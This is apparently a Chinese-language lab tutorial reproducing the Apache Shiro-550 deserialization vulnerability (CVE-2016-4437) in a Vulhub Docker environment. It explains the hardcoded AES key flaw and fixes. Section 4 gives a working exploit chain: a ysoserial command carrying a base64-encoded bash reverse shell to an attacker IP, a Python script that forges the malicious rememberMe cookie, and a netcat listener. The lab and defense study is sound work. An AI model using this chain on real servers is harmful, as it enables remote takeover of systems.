Shiro-550漏洞复现:Java反序列化与权限框架安全实践
1. 项目概述:Shiro-550漏洞的“前世今生”
Shiro-550,这个在安全圈内如雷贯耳的名字,本质上是一个经典的Java反序列化漏洞。它之所以被广泛讨论和学习,不仅仅是因为其影响范围巨大,更因为它完美地展示了权限框架设计缺陷与Java反序列化机制结合后,能产生多么严重的后果。这个漏洞的编号CVE-2016-4437,其核心问题出在Apache Shiro框架用于“记住我”(RememberMe)功能的Cookie值处理上。简单来说,当你在登录时勾选了“记住我”,Shiro会生成一个加密的Cookie发送给你的浏览器。下次你再访问时,浏览器会带着这个Cookie,Shiro服务端会对其进行解密、反序列化,从而恢复你的登录状态。问题就在于,Shiro在1.2.4及以前版本中,用于加密这个Cookie的密钥是硬编码在框架源码里的。这意味着,攻击者只要知道了这个默认密钥,就可以伪造一个恶意的“记住我”Cookie,让Shiro服务端在反序列化时执行攻击者精心构造的恶意代码,从而直接获取服务器权限。
我之所以花时间复现这个漏洞,是因为它太有代表性了。对于刚入门Web安全或Java安全的研究者来说,Shiro-550是一个绝佳的“标本”。它涉及的知识点非常全面:从Java反序列化原理、AES加密、到常见的利用链(如CommonsCollections),再到漏洞的修复与防御。通过亲手搭建环境、触发漏洞、分析流量、理解原理,你能对整个漏洞的“攻击链”有一个直观且深刻的认识。这远比只看报告或视频教程要有效得多。接下来,我会带你从零开始,一步步复现这个经典漏洞,并穿插讲解其中的关键技术和踩坑经验。
2. 环境搭建与靶场部署
复现漏洞的第一步是准备一个安全的实验环境。我强烈建议使用虚拟机,并在其中部署Docker,这能保证你的操作不会影响到宿主机,也方便随时重置环境。
2.1 实验环境准备
我的实验环境基于Ubuntu 22.04 LTS的虚拟机,你也可以使用Kali Linux或任何你熟悉的Linux发行版。核心工具是Docker和Docker Compose。
首先,确保系统已安装Docker和Docker Compose。如果尚未安装,可以通过以下命令快速安装Docker引擎:
# 更新软件包索引 sudo apt-get update # 安装必要的依赖包,允许apt通过HTTPS使用仓库 sudo apt-get install -y ca-certificates curl gnupg lsb-release # 添加Docker官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置Docker稳定版仓库 echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null # 再次更新并安装Docker引擎 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin # 将当前用户加入docker组,避免每次使用sudo sudo usermod -aG docker $USER # 需要重新登录或重启使组生效 newgrp docker安装完成后,运行docker --version和docker compose version验证安装是否成功。
注意:使用Docker时,务必注意镜像来源的安全性。我们复现漏洞使用的是公开的、用于安全研究的靶场镜像,但在生产或其它环境中,切勿随意运行来源不明的Docker镜像。
2.2 Vulhub靶场部署
Vulhub是一个非常好的漏洞复现靶场集合,它提供了大量常见漏洞的一键式Docker环境。我们使用它来部署存在Shiro-550漏洞的Web应用。
首先,从GitHub克隆Vulhub项目到本地:
git clone https://github.com/vulhub/vulhub.git cd vulhub进入Shiro漏洞所在的目录:
cd shiro ls -la你会看到多个CVE编号的目录,我们进入CVE-2016-4437,即Shiro-550:
cd CVE-2016-4437这个目录下通常有一个docker-compose.yml文件,它定义了如何构建和运行靶场容器。使用Docker Compose一键启动环境:
docker compose up -d命令中的-d参数表示在后台运行。执行后,Docker会从网络拉取必要的镜像并启动容器。当看到done提示时,环境就启动成功了。你可以通过docker ps命令查看正在运行的容器,确认名为vulhub-shiro-550或类似的容器状态为Up。
默认情况下,靶场Web服务会运行在宿主机的8080端口。打开你的浏览器,访问http://你的虚拟机IP:8080。如果看到Shiro示例应用的登录页面,说明环境部署成功。
实操心得:在启动过程中,如果遇到端口冲突(比如8080端口已被占用),可以修改
docker-compose.yml文件,将ports配置项中的8080:8080改为8081:8080或其他未被占用的端口。修改后需要先运行docker compose down停止并移除旧容器,再重新docker compose up -d。
3. 漏洞原理深度解析
在动手攻击之前,我们必须吃透漏洞的原理。这能帮助我们在复现时理解每一步操作的意义,而不是机械地执行命令。
3.1 “记住我”功能与Cookie机制
Apache Shiro是一个功能强大且易用的Java安全框架,提供身份验证、授权、加密和会话管理等功能。其“记住我”功能是为了提升用户体验:用户登录一次后,在会话过期甚至关闭浏览器后的一段时间内,再次访问网站时无需重新登录。
这个功能的实现流程如下:
- 用户首次登录并勾选“记住我”。
- Shiro服务器端生成一个包含用户身份信息的序列化对象。
- 使用AES算法和预设的密钥对这个序列化后的字节流进行加密。
- 将加密后的数据经过Base64编码,设置为名为
rememberMe的Cookie,发送给用户浏览器。 - 用户下次访问时,浏览器会自动带上这个Cookie。
- Shiro服务端收到Cookie后,进行Base64解码、AES解密,最后将字节流反序列化成Java对象,从而恢复用户的登录状态。
3.2 硬编码密钥的致命缺陷
漏洞的根源在于第3步的加密密钥。在Shiro 1.2.4及之前的版本中,用于AES加密的默认密钥是硬编码在源代码AbstractRememberMeManager类中的:
public abstract class AbstractRememberMeManager implements RememberMeManager { private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); private Serializer<PrincipalCollection> serializer = new DefaultSerializer<PrincipalCollection>(); private CipherService cipherService = new AesCipherService(); ... }这段代码中的DEFAULT_CIPHER_KEY_BYTES就是那个众所周知的默认密钥kPH+bIxk5D2deZiIxcaaaA==。如果开发人员在部署应用时,没有在Shiro的配置文件中通过securityManager.rememberMeManager.cipherKey属性显式地修改这个密钥,那么应用就会使用这个默认密钥。
这意味着,任何攻击者只要知道目标系统使用了存在漏洞的Shiro版本,并且没有修改默认密钥,他就掌握了加密Cookie的“钥匙”。他可以利用这个密钥,加密一个恶意的序列化对象,构造出Shiro服务端会认可的“合法”Cookie。
3.3 反序列化攻击链的触发
更糟糕的是,Shiro在反序列化时,使用的是ObjectInputStream.readObject()方法,并且没有对反序列化的类做任何白名单限制。在Java中,readObject()方法就像一个“魔法构造器”,在反序列化过程中会自动调用被序列化对象的readObject方法(如果该对象类定义了此方法)。
攻击者可以构造一个特殊的Java对象,这个对象在反序列化时,其readObject方法中的代码会被执行。通过精心设计对象间的调用关系(即利用链,如Apache Commons Collections库中的Transformer、InvokerTransformer等类),最终可以达成执行任意命令的目的,例如调用Runtime.getRuntime().exec(“calc”)来弹出计算器(Windows)或执行其他系统命令。
所以,完整的攻击链是:获取默认密钥 -> 序列化一个利用CommonsCollections库构造的恶意对象 -> 用默认密钥AES加密 -> Base64编码 -> 替换Cookie中的rememberMe值 -> 发送请求 -> 服务端解密后反序列化 -> 触发恶意代码执行。
4. 漏洞检测与利用实战
理解了原理,我们就可以开始动手了。漏洞复现一般分为两步:首先是检测目标是否存在漏洞,其次是利用漏洞获取权限。
4.1 使用工具进行漏洞检测
手动检测Shiro-550漏洞,最经典的方法就是发送一个特殊的Payload,观察服务器的响应。由于Shiro在解密失败时(例如密钥错误、数据损坏)和反序列化失败时(例如类找不到)抛出的异常不同,我们可以通过这种差异来判断密钥是否正确。
网络上有很多现成的检测工具,例如ShiroAttack2、shiro_exploit等。这里我演示一种使用Python脚本配合Burp Suite的检测方法,这有助于理解底层过程。
首先,我们需要一个能生成检测Payload的脚本。核心逻辑是:用可能的密钥(首先是默认密钥)去加密一个简单的序列化对象(比如一个java.util.HashMap),然后将其作为Cookie发送。
import sys import base64 import uuid import subprocess from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, payload): # Shiro的AES模式为CBC,IV为随机16字节,但会放在加密数据头部一起返回 iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_CBC, iv) # PKCS5Padding 填充 encrypted = cipher.encrypt(pad(payload, AES.block_size)) return iv + encrypted def shiro_550_check(url, key): # 一个简单的序列化对象,这里用ysoserial生成一个最简单的URLDNS链payload用于检测,更安全 # 也可以直接序列化一个简单的对象,如 new java.util.HashMap() # 为简化,我们假设这里生成了一个简单的序列化数据 # 实际中,可以使用:java -jar ysoserial.jar URLDNS http://your-dnslog-url > payload.bin # 然后读取payload.bin文件 with open('simple_payload.bin', 'rb') as f: payload = f.read() encrypted_payload = encrypt(base64.b64decode(key), payload) rememberMe_cookie = base64.b64encode(encrypted_payload).decode() # 打印出Cookie,可以手动在Burp中替换,或者用requests库自动发包 print(f"Generated rememberMe cookie with key [{key}]:") print(f"Cookie: rememberMe={rememberMe_cookie}") print(f"\n请使用Burp Suite抓包,将请求中的rememberMe Cookie替换为上述值,并观察响应。") print(f"如果响应包中Set-Cookie头里包含deleteMe字段,或者返回包与发送无效Cookie时不同,则可能使用了此密钥。") if __name__ == '__main__': target_url = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.10:8080" shiro_550_check(target_url, "kPH+bIxk5D2deZiIxcaaaA==")注意:上述脚本中的
simple_payload.bin需要预先准备好。一个安全且常用的检测Payload是使用URLDNS链,它只触发一次DNS查询,不会执行命令,非常适合无害检测。你可以使用ysoserial工具生成:java -jar ysoserial.jar URLDNS http://your-dnslog-server.com > simple_payload.bin。将your-dnslog-server.com替换为你可控的DNSLog地址(如ceye.io提供的域名),如果检测到该域名有DNS解析记录,就证明反序列化触发了,漏洞存在。
更高效的方法是使用集成化工具。例如,在Kali中可以使用shiro_attack_2.0这类图形化工具,直接输入目标URL,它会自动使用默认密钥字典进行爆破检测,并显示哪些密钥可能被使用。
4.2 构造利用Payload获取Shell
当确认目标存在漏洞且已知密钥后,下一步就是构造一个能执行命令的Payload,获取反向Shell或执行其他操作。这里我们使用最著名的CommonsCollections利用链。
我们需要两个工具:
- ysoserial:一个用于生成利用Java反序列化漏洞的Payload的工具。
- 一个监听器:用于接收反弹回来的Shell,如Netcat或MSF。
步骤一:生成恶意序列化对象假设攻击者位于192.168.1.100,准备在4444端口监听。我们需要生成一个执行bash -i >& /dev/tcp/192.168.1.100/4444 0>&1命令的Payload。由于靶场环境是Java,其底层系统很可能是Linux,所以使用bash反向Shell。
# 使用ysoserial的CommonsCollections5链(适用于Shiro常用的CC版本) java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin这里对命令进行了Base64编码(YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==是bash -i >& /dev/tcp/192.168.1.100/4444 0>&1的编码),是为了避免命令行中的特殊字符(如&、>)被错误解析。
步骤二:加密并编码Payload我们需要用之前检测到的密钥(这里假设是默认密钥)加密这个payload.bin文件。可以写一个Python脚本完成加密和Base64编码:
import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(key_b64, payload_file): with open(payload_file, 'rb') as f: payload = f.read() key = base64.b64decode(key_b64) iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload, AES.block_size)) rememberMe = base64.b64encode(iv + encrypted).decode() return rememberMe key = "kPH+bIxk5D2deZiIxcaaaA==" rememberMe_cookie = shiro_encrypt(key, "payload.bin") print(f"rememberMe={rememberMe_cookie}")运行这个脚本,会得到一长串Base64字符串,这就是我们最终的恶意Cookie值。
步骤三:启动监听并发送Payload在攻击机192.168.1.100上,打开一个终端,用Netcat监听4444端口:
nc -lvnp 4444然后,使用Burp Suite或curl等工具,向靶场http://靶机IP:8080的任意一个需要身份验证的接口(比如/admin或直接是根路径/)发送一个GET请求,并在请求头中带上Cookie:rememberMe=上一步生成的长字符串。
GET / HTTP/1.1 Host: 192.168.1.10:8080 User-Agent: Mozilla/5.0 Cookie: rememberMe=4AvVhmFLUs0KTA3Kprsdag==...(很长一串)发送请求后,观察Netcat监听窗口。如果漏洞利用成功,你会看到靶场的Shell连接到了你的攻击机,并可以执行whoami、pwd等命令,这证明你已经成功获取了服务器权限。
实操心得与避坑指南:
- Payload兼容性:不同版本的Commons Collections库对应的利用链不同(如CC1, CC3, CC5, CC6, CC7)。如果
CommonsCollections5不成功,可以尝试CommonsCollections1或CommonsCollections2。Vulhub的Shiro-550靶场通常使用CC5或CC1链。- 命令编码:Linux下命令中的重定向符号
>&和IP地址中的点号,在通过Java Runtime执行时可能会出问题。使用Base64编码是一种非常可靠的绕过方式。- 监听问题:确保攻击机的防火墙放行了监听端口(如4444),并且靶机能够访问到攻击机的IP地址(在局域网或同一Docker网络内通常没问题)。如果是在云服务器上复现,需要设置安全组规则。
- 无回显问题:有时命令执行了但没有回显。可以尝试使用
ping命令探测(ping -c 1 攻击机IP)或者使用DNSLog等外带通道验证命令是否执行。
5. 漏洞修复与防御策略
复现漏洞不是为了攻击,而是为了理解其危害,从而更好地进行防御。针对Shiro-550漏洞,官方和社区提供了明确的修复方案。
5.1 官方修复方案
Apache Shiro官方在1.2.5及以上版本中修复了此漏洞,核心措施包括:
- 移除硬编码密钥:新版本中不再设置默认的
cipherKey。如果开发人员不显式配置,启动时会直接抛出异常,强制要求开发者提供自定义密钥。 - 提供生成安全密钥的工具:官方建议使用Shiro自带的
org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来生成一个随机的、足够强度的密钥。
修复后的配置示例(在shiro.ini或Spring配置中):
[main] # 配置RememberMe管理器 rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManager # 必须!设置一个自定义的、足够复杂的密钥 rememberMeManager.cipherKey = your_strong_and_random_base64_encoded_key_here securityManager.rememberMeManager = $rememberMeManager生成密钥的Java代码示例:
import org.apache.shiro.crypto.AesCipherService; import java.util.Base64; public class GenerateKey { public static void main(String[] args) { AesCipherService aes = new AesCipherService(); byte[] key = aes.generateNewKey().getEncoded(); String base64Key = Base64.getEncoder().encodeToString(key); System.out.println("Your new cipherKey: " + base64Key); } }5.2 深度防御建议
仅仅升级Shiro版本和修改密钥是最基本的。要构建更稳固的防御,需要从架构和编码层面考虑:
- 升级基础库:确保项目中使用的
commons-collections、commons-beanutils等可能被用于构造利用链的第三方库升级到最新版本。新版本通常修复了危险的Transformer等类。 - 使用反序列化过滤器(JEP 290):对于使用JDK 9+的环境,可以启用Java原生提供的反序列化过滤器,限制反序列化过程中允许加载的类。这是最根本的解决方案之一。
// 示例:使用ObjectInputFilter设置白名单 ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("java.util.*;!*"); // 在反序列化前设置过滤器 - 避免反序列化不可信数据:这是黄金法则。任何来自网络、用户输入、外部存储的数据,在反序列化前都应被视为不可信的。如果业务上必须使用,应建立严格的白名单机制。
- WAF/IDS/IPS防护:在应用前端部署Web应用防火墙(WAF)或入侵检测/防御系统,可以识别和拦截常见的Shiro漏洞利用流量,例如包含特定特征Cookie的请求。
- 最小权限原则:运行Java应用的服务器账户(如
tomcat、www-data)应遵循最小权限原则,避免使用root权限。这样即使被攻破,攻击者能造成的破坏也有限。 - 定期安全扫描与代码审计:将Shiro等组件的版本监控纳入DevSecOps流程,使用SCA(软件成分分析)工具定期扫描依赖。对新项目或重要项目进行代码安全审计,检查Shiro等相关安全配置。
6. 复现过程中的常见问题与排查
在复现过程中,你可能会遇到各种问题。这里我总结了一些常见的情况和排查思路。
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
访问http://IP:8080无响应 | Docker容器未成功启动或端口映射错误 | 1. 运行docker ps查看容器状态是否为Up。2. 运行 docker logs <容器名>查看容器启动日志,排查错误。3. 检查 docker-compose.yml中的端口映射配置,确认宿主机端口未被占用。 |
| 工具检测出密钥,但发送Payload后无反应(监听不到Shell) | 1. 利用链不兼容。 2. 命令执行被拦截或格式问题。 3. 网络不通(靶机无法访问攻击机)。 4. 目标环境无bash或命令执行失败。 | 1.换用其他CC链:尝试CommonsCollections1,CommonsCollections2,CommonsCollections3。2.验证命令执行:先使用无害命令测试,如 ping或curl到DNSLog,确认漏洞是否可利用。3.检查网络:确保靶机与攻击机IP互通,防火墙/安全组放行监听端口。 4.调整命令:尝试使用更通用的 sh -c或直接调用/bin/bash。确认目标系统环境。 |
| 使用ysoserial生成Payload时报错或无法运行 | Java版本不兼容或依赖缺失 | 1. 确保已安装Java 8或以上版本。 2. 从ysoserial的官方GitHub Release页面下载最新的jar包。 3. 运行 java -cp ysoserial.jar ysoserial.GeneratePayload查看帮助,确认jar包可执行。 |
| 发送Payload后,服务器返回500错误或应用重启 | Payload触发了反序列化错误,但可能由于类缺失或序列化UID不匹配导致 | 1. 这通常意味着利用链的部分类在目标Classpath中不存在。尝试更通用的CC链(CC1/CC5/CC6)。 2. 检查靶场环境中的Commons Collections版本,尝试使用对应版本的利用链。Vulhub环境通常经过适配,CC5成功率较高。 |
| 记住我Cookie已设置,但工具检测不到有效密钥 | 1. 目标使用了非默认密钥,且不在你的密钥字典中。 2. 目标可能已升级Shiro,漏洞已修复。 3. 检测脚本或工具逻辑问题。 | 1.扩展密钥字典:使用更全面的Shiro密钥字典进行爆破,网上有收集了上百个常见弱密钥的字典文件。 2.手动分析:如果条件允许,尝试获取应用配置文件或源码,查找 cipherKey配置。3.验证Shiro版本:通过页面错误信息或其他特征判断Shiro的大致版本。 |
一个关键的排查技巧:日志分析。Docker容器内部的应用日志是重要的信息来源。你可以通过以下命令进入容器内部查看日志:
# 找到运行Shiro应用的容器ID或名称 docker ps # 进入容器内部 docker exec -it <容器名或ID> /bin/bash # 查看Tomcat日志(假设应用部署在Tomcat) cd /usr/local/tomcat/logs tail -f catalina.out或者在宿主机直接查看容器日志:
docker logs -f <容器名或ID>当发送Payload时,观察日志中是否有反序列化相关的错误堆栈,如java.lang.ClassNotFoundException、java.io.InvalidClassException等,这些信息能帮你判断利用链是否兼容、密钥是否正确。
7. 从复现到理解:构建知识体系
完成一次漏洞复现,绝不能止步于“弹出一个Shell”。Shiro-550是一个入口,它背后牵连着庞大的Java安全知识体系。我建议你在复现之后,沿着以下几个方向深入挖掘:
- 深入Java反序列化机制:去阅读
ObjectInputStream.readObject()的源码,理解其工作流程。了解readObject、readResolve、writeReplace这些特殊方法在序列化/反序列化生命周期中的作用。 - 分析利用链构造:选择一条利用链(比如CommonsCollections1),使用IDE调试模式,一步步跟踪反序列化过程。看看一个普通的
PriorityQueue或BadAttributeValueExpException对象,是如何经过一系列的Transformer、InvokerTransformer、ChainedTransformer调用,最终执行到Runtime.exec()的。这个过程会让你对Java反射、动态代理、类加载机制有更深的理解。 - 探索其他利用链:除了CommonsCollections,还有哪些库存在可被利用的Gadget?比如
Beanutils、Groovy、Jython、Hibernate、Jackson等。研究ysoserial工具中其他Payload的生成原理。 - 研究修复与绕过:了解JEP 290反序列化过滤器的原理和局限性。思考在过滤器存在的情况下,攻击者可能如何绕过?(例如寻找未在过滤名单中的类,或者利用本地类构造利用链)。这能让你从防御者的视角思考问题。
- 工具化与自动化:尝试自己用Python或Java写一个简单的Shiro漏洞检测和利用工具,而不是完全依赖现成的。这会强迫你理解加密、编码、网络请求等每一个细节。
漏洞复现的最终目的,是化“攻击技能”为“防御知识”。当你真正理解了攻击者是如何思考、如何利用系统弱点时,你才能在设计架构、编写代码、配置系统时,下意识地避开这些陷阱。Shiro-550的复现之旅,就像一次对Java应用安全体系的深度解剖,每一个步骤都值得你停下来思考其背后的原理和更广泛的适用场景。
